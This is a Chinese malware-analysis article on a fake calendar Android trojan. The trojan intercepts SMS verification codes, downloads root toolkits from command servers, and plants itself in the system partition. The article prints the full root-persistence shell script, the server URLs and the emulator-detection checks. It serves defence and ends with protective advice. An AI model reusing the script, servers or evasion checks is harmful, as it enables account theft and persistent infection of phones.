“伪万年历” Root Exploit恶意应用分析

 2015年10月12日 12:57  5642

一,木马介绍

攻击者将木马制作成用户刚需应用,如色情类、生活服务类,或将恶意代码通过二次打包,注入到合法的应用当中,伪装成为合法应用,上传到android市场或某些论坛,诱导用户下载。一旦用户下载运行了此类应用,木马通过云端推送root 工具包,以及恶意应用;通过短信提取动态密码,第一时间发送给木马作者,直接造成财产损失、隐私泄露等;木马创建不死服务,后台root设备,成功root后将恶意应用植入系统分区,用户即使恢复出厂设置也无法完全卸载木马。具体执行过程如下图:

    被感染应用以及恶意样本数量过千类,以下列出“万年历,清涩笑话,特实惠, 魅力女生动态桌面,开心乐消消-欢乐版,内涵壁纸,开心乐消消,全网充话费,极致腿模,好听音乐,HoloTorch,情趣内涵电台,Accurate Battery,Super Silent,心情天气”



二,样本行为分析

    样本存在大量变种,以下对“伪万年历”样本进行行为分析。木马将恶意代码打包入正常应用。启动“伪

万年历”应用后,进入正常的日历界面,而应用的Application 类作为恶意代码入口点。



2.1监听短信彩信,获取动态验证码

    提取短信中的动态密码,第一时间转发到指定号码并截断短信发送,这样用户将在不知情的情况下,大量账号被盗。拦截用户短信彩信,提取到的动态密码以及手机信息发送到云端服务器。直接造成财产损失,隐私泄露。

    木马动态注册短信监听广播,通过类加载反射等技术进行具体的监控操作。当触发短信消息事件时,木马会动态加载myjar.jar,反射调用smscheck函数。

                               图动态注册广播监听短信消息


                             图动态加载dex,反射调用smscheck函数

    对smscheck函数分析,发现若拦截到的短信中存在动态密码,病毒会第一时间发送给指定号码,同时会将动态密码,以及当前手机信息作为参数post提交到云端服务器。也就是木马作者通过用户手机号码找回密码,这样轻松的盗取用户账号密码,而中马用户完全不知晓。

    接下来过滤短信发送者,将短信内容,发送者手机号码,以及手机imsi等发post到指定服务器:

                     图将拦截到短信发送到指定服务器


    跟踪发现服务器目录,存放了中马手机信息以及root手机的工具:


 

2.2启动LocationService

a 监听广播,触发云端交互,下载root 工具包和推广的恶意应用

    LocationService开启任务线程,在任务线程里动态注册广播,监听网络变化,屏幕唤醒锁屏,应用安装卸载更新等,监控广播做为病毒行为触发点。获取手机信息做为post参数,上传到云端服务器。
(android.net.conn.CONNECTIVITY_CHANGE,android.intent.action.USER_PRESENT,android.intent.action.SCREEN_OFF,android.intent.action.SCREEN_ON,android.intent.action.PACKAGE_ADDED,android.intent.action.PACKAGE_CHANGED,              android.intent.action.PACKAGE_REPLACED,android.intent.action.PACKAGE_REMOVED)

以下是对病毒下载云端root 工具的分析:木马首先向服务器post手机的imei、imsi、分辨率、手机号等基本信息,服务器返回加密的url指令,解码url获取下载Root手机所需的busybox、su、install-recovery.sh等工具:






post 手机信息到服务器(http://api.wangyan9488.com:8285/api/getShell.jsp),返回加密url



图服务器返回的加密url

 

    木马本地解密url,获取到root 工具下载源(http://222.21x.xxx.7:8661/apk/rootsheel/1438654068044948.jar),下载到手机后改名为“shellv5.jar”,其实是一压缩包:

shellv5.jar 里的文件 root 工具包

 

    采用同样的过程下载root sdk,访问服务器http://api.wangyan9488.com:8287/api/getAttach.jsp,获取加密url

         





图加密root sdk url



    木马解密url,获取下载源(http://222.21x.xxx.x:8661/apk/dlapp/14386539787043206.jar)下载jar文件,下载到手机后改名为“dlv5.jar”。通过动态加载该文件中的dex文件,同时利用之前下载的工具获取Root权限,随后将同名文件名的apk文件植入到/system/app/下并安装。该apk伪装成系统“下载服务”,而自身是与母样本伪万年历相同行为的木马。








b强制激活设备管理,防止卸载



 



    利用设备管理器缺陷,在取消激活设备管理之前,DevicePolicyManagerService会调用应用的onDisableRequested方法获取取消激活的警示信息。下图可以发现病毒在发现取消激活时,会进行屏幕锁屏之后进入系统setting 页面,这样一旦用户激活设备将无法卸载。



                                                  图取消设备管理时屏幕锁屏




c 最后启动另外一个核心服务blueService




                                                  图启动BlueService服务





2.3 blueService服务






    a 强制安装ANDROID_SCREEN_ON_OFF.apk应用



伪装成系统“下载管理”应用,同样通过post手机信息到云端服务器,get加密后的url,然后本地解密url获取下载推广的应用。同样的代码模块激活设备管理防止卸载。









b root 手机


    下图为BlueService服务的任务线程,红色框动态注册RootReciver,当网络发生变化或手机锁屏唤醒时,在后台尝试root:



                                                   图blueService服务任务线程代码





    检测14425728404326709.apk是否被安装,其实这是root之后安装到系统目录下的文件,root的最终目的就是将恶意应用植入system目录,伪装成系统应用,长期驻留用户设备。木马通过DexClassLoader加载云端配置的rootDex,随后反射调用getDex 函数进行root工作。下图动态加载dex,反射调用getDex:





                                图动态加载dex,反射调用getDex





将云端下载到sdcard/.xxx目录里的busybox,su  拷贝到应用文件目录,创建aa.xml文件表示开始进行root 工作。下图创建开始root文件:





                                 图创建开始root的flag文件



将云端下载在xxx目录下的root 工具,拷贝到data/files目录下,并在files目录下创建psneuter.js




图拷贝root 工具

    root成功后将14425728404326709.apk 安装到system/app目录并启动该应用。动态拦截发现,本次分析下载的root sdk 工具包,应该是刷机大师的MTK ROOT方案。由于云端配置灵活,下载获取的root工具包灵活(根据手机版本等信息,下载不同root工具包).



图root 手机代码

1.suc f0h5zguZ9aJXbCZExMaN2kDhh6V0Uw== /system/bin/sh psneuter.js

2.suc al1s7jBFNtn9faBmC0Jb9A9Ns1GZSg== /system/bin/sh psneuter.js

3.suc HygZRm2IHTKWpp7Hll/sS0uY66xdcw== /system/bin/sh psneuter.js

成功root后执行psneuter.js,木马将成功伪装成系统应用隐藏在用户手机,即使恢复出厂设置也无法卸载。

psneuter.js文件内容

#!/system/bin/sh

mount -o rw,remount /system

/data/local/tmp/busybox mount -o rw,remount /system

cat /data/local/tmp/14425728404326709.apk > /system/app/14425728404326709.apk

chmod 0644 /system/app/14425728404326709.apk

pm install /system/app/14425728404326709.apk

mount -o ro,remount /system

/data/local/tmp/busybox mount -o ro,remount /system

echo "Now, script finish!”

图 root成功木马伪装系统软件“下载服务”

c  不死服务LocationService, BlueService

    只要保证两大核心服务LocationService,BlueService 不死,就可以一直在后台执行恶意代码。木马在启动核型服务LocationService,BlueService的同时,会注册守护广播,保证核心服务一直启动。

图启动LocationService服务同时注册守护广播

守护服务的广播,通过监听屏幕开关、手机电量变化、时间更改,启动被保护的服务

图守护广播监听的消息

三,变种追踪

      该样本存在大量变种,且都是由LocationService,BlueService核心服务演变而来,从最开始的恶意应用推广到云端root sdk配置,升级到通过短信盗号,对抗杀软检测在native层检测运行环境等。

对变种木马“内涵壁纸”样本分析,首先在native层检查运行环境,若不是模拟器才启动恶意广播。这样有效的躲避了动态引擎检测,以及逆向分析人员分析。




图native层启动恶意广播

    模拟器检查,若木马运行环境在模拟器内,木马将不会启动恶意广播。模拟检查主要检查cpuinfo是否为goldfish,设备IDS是不是 “000000000000000”, imsi id是不是“310260000000000“,手机运营商等。



四,建议和解决方案

 4.1  使用加固手段增加被恶意者二次打包的成本:如使用阿里聚安全应用加固方案,无需开发者修改源代码或者二次开发,通过加壳,加密,逻辑混淆,代码隐藏等各类应用加固方法,防止应用被逆向分析,反编译,以及二次打包嵌入各类病毒广告等恶意代码。

4.2  用户下载应用请到官方网站或安全应用市场,切勿点击任何色情链接,尤其是短信、QQ、微信等聊天工具中不熟识的“朋友”发来的链接。

4.3  如果不确定手机是否毒,可以安装阿里钱盾等手机安全软件,对手机上的应用进行检测,防止高风险恶意应用的安装。

本文来自合作伙伴“阿里聚安全”.

时间: 2024-08-30 15:24:51

“伪万年历” Root Exploit恶意应用分析的相关文章

一次对恶意邮件分析并拿下其赎金服务器的溯源

本文讲的是一次对恶意邮件分析并拿下其赎金服务器的溯源,在这个案例里面,我们通过分析垃圾邮件,进而劫持其赎金服务器,并且告知每个人关于发现的这一威胁.然后我会尝试寻找攻击者身份,并且将有关信息告诉执法部门.不过这一部分就不在文章中公开了. 对这一附件解压缩之后发现里面有一个vbs脚本文件,这就比较有趣了,通过双击vbs脚本文件,受害者将会通过微软wscript.exe来运行它,这样就会启动感染进程.邮件是通过一个复杂的垃圾邮件集群进行发布的,这一集群经常在美国活动,前几天目标对准了欧洲. vb脚本

传智播客c/c++公开课学习笔记--C语言与木马恶意代码分析和360安全防护揭秘

黑客代码分析与预防 笔记 [课程简介] C/C++语言是除了汇编之外,最接近底层的计算机语言,目前windows,linux,iOS,Android等主流操作系统都是用C/C++编写的,所以很多病毒.木马也都是用C/C++实现的.课程的目的就是通过C语言揭秘木马和各种远程控制软件的实现原理以及如何防护.  [课程知识点] 1.木马入侵系统的方式: 2.木马入侵到宿主目标后的关键行为分析: 3.可信任端口以及端口扫描技术: 4.远程控制的实现代码实现: 5.恶意代码中使用TCP.UDP协议与防火墙

Andriod恶意代码分析与取证

根据CNNIC发布第36次<中国互联网络发展状况统计报告>,截至2015年6月,我国手机网民规模达5.94亿,较2014年12月增加3679万人,网民中使用手机上网的人群占比提升至88.9%,随着手机终端的大屏化和手机应用体验的不断提升,手机作为网民主要上网终端的趋势进一步明显,移动互联已成为这个时代的特征,同时Andriod与ios并肩成为目前主流的移动操作系统. Android是由google开发,基于Linux内核的开源手机操作系统.Android自面试以来,以其自由开放包容的姿态,迅速

寻常:关于QQ临时讨论组恶意推广分析

中介交易 http://www.aliyun.com/zixun/aggregation/6858.html">SEO诊断 淘宝客 云主机 技术大厅 最近的"QQ临时讨论组"是越来越疯狂;因为这种方式不必担心像群里一样被踢,不必担心被当成垃圾邮件而屏蔽,不必担心被拉黑等等;诸多的"优势"让QQ临时讨论组更加"活跃".无论是站长,还是淘宝卖家,包括公司企业,涉及到产品销售,推广是各个环节的重中之重.网络推广的方法有很多,一般的朋友都

关于百度能否区分原创和伪原创的分析

百度官方一直强调的是鼓励原创性文章,打击采集和伪原创,但是百度究竟能否区分原创和伪原创呢?百度官方一直没解释过这个问题. 这里作者拿出实例来给大家解释这个问题:原创排名并不一定好,伪原创排名也不一定差.甚至直接复制别人的文章,都可以有很好的排名.相信大家可能都碰到过这种情况,在A5写了一篇原创文章,被多人转载了,也可以说是被多人复制了,但基本都被收录了,而且还有不错的排名,大家可以看我这个例子: 8月14日,本人写了一篇文章:百度强调搜索体验 无背景无技术的小站长前景堪忧.投在了A5门户网的搜索

Struts2 REST插件远程执行命令漏洞全面分析,WAF支持检测防御

漏洞概述 2017年9月5日,Apache Struts 2官方发布一个严重级别的安全漏洞公告,该漏洞由国外安全研究组织lgtm.com的安全研究人员发现,漏洞编号为CVE-2017-9805(S2-052). 在一定条件下,攻击者可以利用该漏洞远程发送精心构造的恶意数据包,获取业务数据或服务器权限,存在高安全风险. 漏洞基本信息 当Struts2使用REST插件使用XStream的实例xstreamhandler处理反序列化XML有效载荷时没有进行任何过滤,可以导致远程执行代码,攻击者可以利用

CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告

一. 漏洞概述 2017年9月5日,Apache Struts 2官方发布一个严重级别的安全漏洞公告,该漏洞由国外安全研究组织lgtm.com的安全研究人员发现,漏洞编号为CVE-2017-9805(S2-052),在一定条件下,攻击者可以利用该漏洞远程发送精心构造的恶意数据包,获取业务数据或服务器权限,存在高安全风险. 二. 漏洞基本信息 漏洞编号:CVE-2017-9805 漏洞名称: Struts2 REST插件远程执行命令漏洞(S2-052) 官方评级: ** 严重 **漏洞描述: 当S

针对Neutrino僵尸程序新增加的保护层进行分析

本文讲的是针对Neutrino僵尸程序新增加的保护层进行分析, 最新版本的多用途Neutrino僵尸程序已经自带保护层并且Neutrino僵尸程序通过以它命名的利用工具包(Exploit Kit)已经开始进行分发,由于Neutrino属于Kasidet家族,而Kasidet家族又具有多种反调试.反沙箱和反虚拟机的功能,该家族的研发者有可能通过对常见的在线自动化恶意代码分析平台进行过针对性的研究,利用收集各种系统信息的恶意代码提炼出反制在线自动化恶意代码分析平台的方法,并应用到Kasidet家族中

围观2016年最活跃的“顶级Exploit Kit”

Exploit Kit作为传播犯罪软件的重要工具,一直深受网络犯罪分子喜爱.俗话说知己知彼百战百胜,面对与时俱进,不断升级更新的Exploit Kit,我们必须要完全的了解和分析他们,才能实现有效的防御.本文将介绍当下最活跃的流行工具包--Angler,RIG和Neutrino. 什么是Exploit Kit? 预打包了安装程序.控制面板.恶意代码以及相当数量的攻击工具.通常基于PHP的一个软件. Exploit Kit经济体制 价格在成百上千美元: 可以按日/周/月来付租金: 提供可以躲避审查